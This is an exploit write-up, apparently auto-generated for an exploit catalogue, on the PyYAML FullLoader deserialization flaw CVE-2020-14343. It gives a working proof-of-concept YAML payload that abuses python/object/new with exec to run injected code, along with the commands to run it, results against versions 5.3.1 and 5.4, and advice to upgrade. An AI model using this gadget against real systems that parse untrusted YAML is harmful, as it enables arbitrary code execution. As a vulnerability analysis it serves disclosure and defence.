Exploit write-up

PyYAML FullLoader deserialization RCE (CVE-2020-14343)

CVE-2020-14343 n-day CVSS 9.8 Critical

Proof of concept

The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.

#!/usr/bin/env python3
# CVE-2020-14343 proof-of-concept (mechanism explained below).

import yaml

# Code executed ONLY if the vulnerability triggers (exec runs as extend()).
# It reads the canary from the environment and writes it to stdout.
INJECTED = "import os; print(os.environ['POC_CANARY'])"

payload = """
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "%s"
""" % INJECTED

# full_load == load with FullLoader; vulnerable in 5.3.1, blocked in 5.4.
try:
    yaml.full_load(payload)
except Exception:
    # On a patched build FullLoader refuses the constructors and raises;
    # nothing is printed, which is the intended differential behavior.
    pass

How to run it.

pip install pyyaml==5.3.1
POC_CANARY=demo python poc.py     # prints: demo   (code executed)

pip install pyyaml==5.4
POC_CANARY=demo python poc.py     # prints nothing (blocked by the fix)

PyYAML before 5.4 executes arbitrary code when it parses untrusted input through yaml.full_load or the FullLoader loader, which matters for teams running pyyaml at the call sites the advisory names. This analysis confirmed the code-execution primitive by running a proof-of-concept against pinned builds of pyyaml 5.3.1 and 5.4. The advisory scores the flaw 9.8 on CVSS and covers every version below 5.4.

The bug lives in how FullLoader handles a pair of object-construction tags.

The gadget

The exploitation path abuses the python/object/new constructor. Read from the proof-of-concept, the chain is:

In 5.3.1, FullLoader still permits !!python/object/new:type together with !!python/name:exec. This builds a fresh class whose extend method IS the builtin exec, then the object/new construction path calls instance.extend(listitems) -> exec(the code string), achieving RCE.

Why 5.3.1 is the version to test

Testing 5.3.1 against 5.4 isolates this bug, because 5.3.1 already contains the first attempt at closing this class of construction and the gadget above gets through it. CVE-2020-14343 bypasses that incomplete fix, which shipped for CVE-2020-1747 and is present in 5.3.1. The fix in 5.4 tightens FullLoader so these constructors are rejected.

The two runs

This analysis read the vulnerable code path and the gadget from the fix commit’s patch diff, then ran the proof-of-concept against both builds.

BuildAffected per advisoryproof-of-concept outcome
pyyaml 5.3.1yescanary printed — code executed
pyyaml 5.4no (fixed)no output, no visible error

The 5.4 run’s absence of output shows the payload did not fire but does not by itself show the fix rejecting the constructors. This analysis exercised only 5.3.1 on the vulnerable side, so the claim that every version before 5.4 is affected comes from the advisory rather than from a version-by-version test. The proof-of-concept demonstrates the code-execution primitive; a full exploit chain against a specific deployed application would depend on where and how that application feeds YAML to the affected API.

Auditing and fixing it

Upgrade pyyaml to 5.4 or later. Where an upgrade is not immediate, keep untrusted input away from full_load and FullLoader, and constrain the input at the trust boundary before it reaches the parser. The call sites the advisory names are the first place to audit.

The rejection check that has not run

To check the fix directly, this analysis would watch the loader raise an error on the offending tag instead of inferring rejection from the absence of the canary, and this analysis has not yet tested the range below 5.4 version by version.

Target
PyYAML (PyYAML)
Class
Unsafe YAML deserialization via FullLoader (python/object/new)
Impact
Arbitrary code execution from loading untrusted input
CVE
CVE-2020-14343
CWE
CWE-20, CWE-502
CVSS
9.8
Affected
PyPI/pyyaml < 5.4 (vulnerable 5.3.1)
Status
Fixed in 5.4
Maturity
functional
Disclosed
February 9, 2021
Tags
rce · deserialization · pyyaml · n-day · auto-generated
References
NVD — CVE-2020-14343
Upstream fix commit
Predecessor — CVE-2020-1747

PoC exercises the deserialization primitive; detonate only in an isolated, disposable VM.

← All exploits